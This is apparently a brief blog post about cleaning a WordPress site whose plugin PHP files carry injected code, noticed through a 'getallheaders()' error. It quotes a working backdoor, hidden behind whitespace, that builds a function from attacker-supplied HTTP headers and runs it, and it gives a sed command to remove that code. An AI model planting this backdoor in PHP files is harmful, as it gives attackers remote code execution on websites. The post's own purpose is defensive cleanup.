Fixing ‘Call to Undefined Function getallheaders()’ and Removing Malicious Code in WordPress

Introduction

You came here because you’re running a wp-cli command get the following error

PHP Fatal error:  Uncaught Error: Call to undefined function getallheaders() in

Removing Malicious Code in WordPress Plugins

In the case I was dealing with, all of the plugin files ending in .php had malicious code within them. Here is a good example.

<?php                                                                                                                                                                                                                         $_HEADERS=getallheaders();if(isset($_HEADERS['X-Dns-Prefetch-Control'])){$include=$_HEADERS['X-Dns-Prefetch-Control']('', $_HEADERS['Content-Security-Policy']($_HEADERS['If-Modified-Since']));$include();}

/**
 * Custom Post Type UI.
 *

You can remove this code by running the following command via SSH

find wp-content/plugins/ -type f -name "*.php" -exec sed -i '1s/<?php.*/<?php/' {} +

Your WordPress Site is Infected, Proceed with Clean-up

At this point, it’s clear your WordPress site is infected and you should go through everything and make sure that you clean up the infection.